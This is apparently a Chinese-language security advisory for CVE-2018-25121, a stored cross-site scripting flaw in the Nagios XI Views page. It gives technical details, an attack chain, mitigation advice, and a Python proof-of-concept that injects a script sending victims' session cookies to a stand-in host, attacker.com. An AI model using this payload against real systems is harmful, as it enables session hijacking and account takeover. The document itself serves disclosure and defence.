IPBUF安全漏洞报告
English
CVE-2018-25121 CVSS 5.4 中危

CVE-2018-25121 Nagios XI Views页面跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2018-25121
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2018-25121XSS跨站脚本攻击存储型XSSNagios XI网络监控Web应用安全CVSS 5.4

漏洞概述

CVE-2018-25121是Nagios XI网络监控软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Nagios XI的Views页面中,由于对用户输入的内容缺乏充分的验证和转义处理,攻击者可以在Views页面中注入恶意JavaScript代码。当其他用户访问包含恶意脚本的页面时,这些脚本将在受害者的浏览器上下文中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。Nagios XI是一款广泛使用的企业级网络监控解决方案,常用于监控服务器、网络设备和应用程序。由于其通常部署在企业内部网络中,攻击者利用此漏洞可以横向移动或获取敏感监控数据。该漏洞影响5.4.13之前的所有Nagios XI版本,CVSS评分5.4属于中等严重程度,主要因为攻击需要认证且需要用户交互。

技术细节

该漏洞是典型的存储型XSS漏洞,攻击流程如下:1) 攻击者首先需要拥有Nagios XI的有效账户(低权限即可);2) 攻击者创建或编辑Views页面,在视图名称或相关字段中注入恶意JavaScript payload,如<script>alert(document.cookie)</script>;3) 由于应用程序未对用户输入进行适当的HTML转义,恶意脚本被存储在数据库中;4) 当其他用户(特别是管理员)访问该Views页面时,服务器将存储的恶意内容作为响应的一部分返回给用户;5) 用户的浏览器将执行这些恶意脚本,导致攻击成功。漏洞的根本原因在于Nagios XI在处理Views页面用户输入时,缺少对特殊字符的HTML编码或转义。攻击者可以利用此漏洞窃取受害者的会话Cookie,进而冒充受害者进行未授权操作,甚至可能通过XSS进一步发起CSRF攻击。修复版本为5.4.13及更高版本。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统使用Nagios XI,并确定版本低于5.4.13
STEP 2
Authentication
攻击者获取Nagios XI的有效账户(低权限用户即可满足攻击条件)
STEP 3
Payload Injection
攻击者通过Views页面功能注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
Storage
恶意脚本被存储在数据库中,未经过滤或转义
STEP 5
Trigger
受害者(管理员或其他用户)访问包含恶意脚本的Views页面
STEP 6
Execution
受害者浏览器执行恶意脚本,攻击者窃取会话Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2018-25121 PoC - Nagios XI Views XSS # Target: Nagios XI < 5.4.13 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "attacker" PASSWORD = "password" def login(): """Authenticate to Nagios XI and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data, timeout=10) if 'nagiosxi' in response.cookies and response.status_code == 200: print(f"[+] Login successful") return session else: print(f"[-] Login failed") return None def inject_xss(session): """Inject malicious JavaScript via Views page""" views_url = f"{TARGET_URL}/nagiosxi/views/viewconfig.php" # XSS payload - steal cookies xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" view_data = { 'view_name': xss_payload, 'action': 'save' } response = session.post(views_url, data=view_data, timeout=10) if response.status_code == 200: print(f"[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") return True else: print(f"[-] Injection failed") return False def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] CVE-2018-25121 PoC - Nagios XI XSS via Views") print(f"[*] Target: {TARGET_URL}") session = login() if session: inject_xss(session) print(f"[+] Wait for admin to visit the Views page to trigger XSS") if __name__ == "__main__": main()

影响范围

Nagios XI < 5.4.13

防御指南

临时缓解措施
立即将Nagios XI升级到5.4.13或最新版本。在等待升级期间,可以限制Views页面功能的访问权限,仅允许受信任的管理员使用。同时启用Web应用防火墙(WAF)规则检测和阻止XSS攻击payload。对于必须使用的用户,实施严格的输入过滤和白名单机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表